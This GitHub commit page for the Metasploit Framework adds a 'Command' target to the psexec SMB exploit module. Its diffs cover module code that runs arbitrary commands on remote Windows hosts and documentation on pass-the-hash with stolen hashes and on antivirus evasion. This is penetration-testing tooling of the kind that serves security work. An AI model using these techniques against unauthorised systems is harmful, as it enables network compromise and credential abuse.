Skip to content

Commit 9fa8931

Browse files
committed
Land #13812, ARCH_CMD target for psexec module
2 parents 24bf14b + cb8bcb5 commit 9fa8931

File tree

5 files changed

+91
-36
lines changed

5 files changed

+91
-36
lines changed

documentation/modules/exploit/windows/smb/psexec.md

Lines changed: 34 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,5 @@
1-
psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a stolen password could lead to a complete compromise of an entire corporate network.
2-
3-
The Metasploit Framework actually includes different module types of psexec for different scenarios. exploit/windows/smb/psexec is the father of them all and is used the same way
4-
you normally would with any Metasploit exploits.
5-
1+
PSexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a
2+
stolen password could lead to a complete compromise of an entire corporate network.
63

74
## Vulnerable Application
85

@@ -11,7 +8,9 @@ To be able to use exploit/windows/smb/psexec:
118
1. You must have a valid username/password.
129
2. The firewall must allow SMB traffic.
1310
3. The target must use SMBv1.
14-
4. The remote Windows machine's network security policy must allow it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the Windows machine does not allow it.
11+
4. The remote Windows machine's network security policy must allow it. If you see
12+
[one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the
13+
Windows machine does not allow it.
1514

1615
## Verification Steps
1716

@@ -43,7 +42,8 @@ meterpreter >
4342

4443
## Options
4544

46-
By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will probably need to at least configure:
45+
By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will
46+
probably need to at least configure:
4747

4848
**The SMBUser Option**
4949

@@ -58,7 +58,8 @@ This can be either the plain text version or the Windows hash.
5858

5959
**Pass the Hash**
6060

61-
One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:
61+
One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using
62+
some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:
6263

6364
```
6465
meterpreter > hashdump
@@ -93,28 +94,44 @@ meterpreter >
9394

9495
**Automatic Target**
9596

96-
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
97+
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target
98+
detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natie upload. Each target is explained below.
9799

98100
**Powershell Target**
99101

100-
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
102+
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not
103+
leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by
104+
default.
101105

102-
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
106+
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports
107+
Powershell before it tries it; the manually set Powershell target won't do that.
103108

104109
**Native Upload Target**
105110

106111
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
107112
SHARE datastore option), and then execute it with psexec.
108113

109-
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
114+
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to
115+
use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the
116+
`EXE::Custom` option.
110117

111118
**MOF Upload Target**
112119

113-
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
114-
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
120+
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target
121+
technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload
122+
(exe) in SYSTEM32 and a managed object format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it
123+
automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get
124+
a session.
125+
126+
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to
127+
disk, there is also a high chance of getting caught by antivirus on the target.
115128

116-
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
117-
caught by antivirus on the target.
129+
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template
130+
datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
118131

119-
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
132+
**Command**
120133

134+
The command target causes the psexec operation to execute an operating system command. This can either be a `cmd/windows/` payload provided
135+
by Metasploit, or the user can specify their own by using the `cmd/windows/generic` payload and setting `CMD`. The output of the command
136+
will be written to a file and then retrieved so that it is accessible. If the command does not immediately return, then reading the output
137+
will fail.

lib/msf/core/exploit/smb/client/psexec.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -233,15 +233,15 @@ def execute_command(text, bat, cmd)
233233
end
234234
end
235235

236-
def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay, rt)
236+
def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay: 0, retries: 0)
237237
res = execute_command(text, bat, cmd)
238238
if res
239-
for i in 0..(rt)
239+
for i in 0..(retries)
240240
Rex.sleep(delay)
241241
# if the output file is still locked then the program is still likely running
242242
if (exclusive_access(text, smb_share, r_ip))
243243
break
244-
elsif (i == rt)
244+
elsif (i == retries)
245245
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
246246
end
247247
end
@@ -377,7 +377,7 @@ def get_output(file, smb_share, r_ip)
377377
print_status("Getting the command output...")
378378
output = smb_read_file(smb_share, r_ip, file)
379379
if output.nil?
380-
print_error("Error getting command output. #{$!.class}. #{$!}.")
380+
print_error('Error getting command output' + ( $!.nil? ? '' : " #{$!.class}: #{$!}"))
381381
return
382382
end
383383
if output.empty?
@@ -397,7 +397,7 @@ def exclusive_access(*files, smb_share, r_ip)
397397
end
398398
files.each do |file|
399399
begin
400-
print_status("checking if the file is unlocked")
400+
vprint_status('Checking if the file is unlocked...')
401401
fd = smb_open(file, 'rwo')
402402
fd.close
403403
rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => accesserror

modules/auxiliary/admin/smb/ms17_010_command.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -100,7 +100,7 @@ def smb_pwn(ip)
100100
@ip = ip
101101

102102
# Try and authenticate with given credentials
103-
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY'])
103+
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, delay: datastore['DELAY'], retries: datastore['RETRY'])
104104

105105
# Report output
106106
print_good("Command completed successfully!")

modules/auxiliary/admin/smb/psexec_command.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,12 @@ class MetasploitModule < Msf::Auxiliary
88
include Msf::Auxiliary::Report
99
include Msf::Auxiliary::Scanner
1010

11+
include Msf::Module::Deprecated
12+
deprecated(
13+
Date.new(2020, 9, 16),
14+
reason = "Use exploit/windows/smb/psexec and the 'Command' target with the cmd/windows/generic payload"
15+
)
16+
1117
# Aliases for common classes
1218
SIMPLE = Rex::Proto::SMB::SimpleClient
1319
XCEPT = Rex::Proto::SMB::Exceptions
@@ -67,7 +73,7 @@ def run_host(ip)
6773
print_error("Unable to authenticate with given credentials: #{autherror}")
6874
return
6975
end
70-
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, datastore['RETRY'], datastore['DELAY'])
76+
output = execute_command_with_output(text, bat, datastore['COMMAND'], @smbshare, @ip, retries: datastore['RETRY'], delay: datastore['DELAY'])
7177

7278
unless output.nil?
7379
print_good("Command completed successfully!")

modules/exploits/windows/smb/psexec.rb

Lines changed: 44 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -59,13 +59,13 @@ def initialize(info = {})
5959
'DisableNops' => true
6060
},
6161
'Platform' => 'win',
62-
'Arch' => [ARCH_X86, ARCH_X64],
6362
'Targets' =>
6463
[
65-
[ 'Automatic', { } ],
66-
[ 'PowerShell', { } ],
67-
[ 'Native upload', { } ],
68-
[ 'MOF upload', { } ]
64+
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
65+
[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
66+
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
67+
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
68+
[ 'Command', { 'Arch' => [ARCH_CMD] } ]
6969
],
7070
'DefaultTarget' => 0,
7171
# For the CVE, PsExec was first released around February or March 2001
@@ -74,7 +74,7 @@ def initialize(info = {})
7474

7575
register_options(
7676
[
77-
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
77+
OptString.new('SHARE', [false, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", ''])
7878
])
7979

8080
register_advanced_options(
@@ -86,7 +86,28 @@ def initialize(info = {})
8686
])
8787
end
8888

89-
def native_upload_with_workaround
89+
def execute_command_payload(smbshare)
90+
text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt"
91+
bat = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat"
92+
command = payload.encoded
93+
94+
output = execute_command_with_output(text, bat, command, smbshare, datastore['RHOST'])
95+
96+
unless output.nil?
97+
print_good('Command completed successfully!')
98+
print_status("Output for \"#{ command }\":\n")
99+
print_line("#{output}\n")
100+
report_note(
101+
:rhost => datastore['RHOST'],
102+
:rport => datastore['RPORT'],
103+
:type => 'psexec_command',
104+
:name => command,
105+
:data => output
106+
)
107+
end
108+
end
109+
110+
def native_upload_with_workaround(smbshare)
90111
service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
91112
service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''
92113

@@ -96,10 +117,19 @@ def native_upload_with_workaround
96117
connect(versions: [1])
97118
smb_login
98119
end
99-
native_upload(datastore['SHARE'], service_filename, service_encoder)
120+
native_upload(smbshare, service_filename, service_encoder)
100121
end
101122

102123
def exploit
124+
# automatically select an SMB share unless one is explicitly specified
125+
if datastore['SHARE'] && !datastore['SHARE'].blank?
126+
smbshare = datastore['SHARE']
127+
elsif target.name == 'Command'
128+
smbshare = 'C$'
129+
else
130+
smbshare = 'ADMIN$'
131+
end
132+
103133
print_status("Connecting to the server...")
104134
connect
105135

@@ -125,19 +155,21 @@ def exploit
125155

126156
case target.name
127157
when 'Automatic'
128-
if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])
158+
if powershell_installed?(smbshare, datastore['PSH_PATH'])
129159
print_status('Selecting PowerShell target')
130160
execute_powershell_payload
131161
else
132162
print_status('Selecting native target')
133-
native_upload_with_workaround
163+
native_upload_with_workaround(smbshare)
134164
end
135165
when 'PowerShell'
136166
execute_powershell_payload
137167
when 'Native upload'
138-
native_upload_with_workaround
168+
native_upload_with_workaround(smbshare)
139169
when 'MOF upload'
140-
mof_upload(datastore['SHARE'])
170+
mof_upload(smbshare)
171+
when 'Command'
172+
execute_command_payload(smbshare)
141173
end
142174

143175
handler

0 commit comments

Comments
 (0)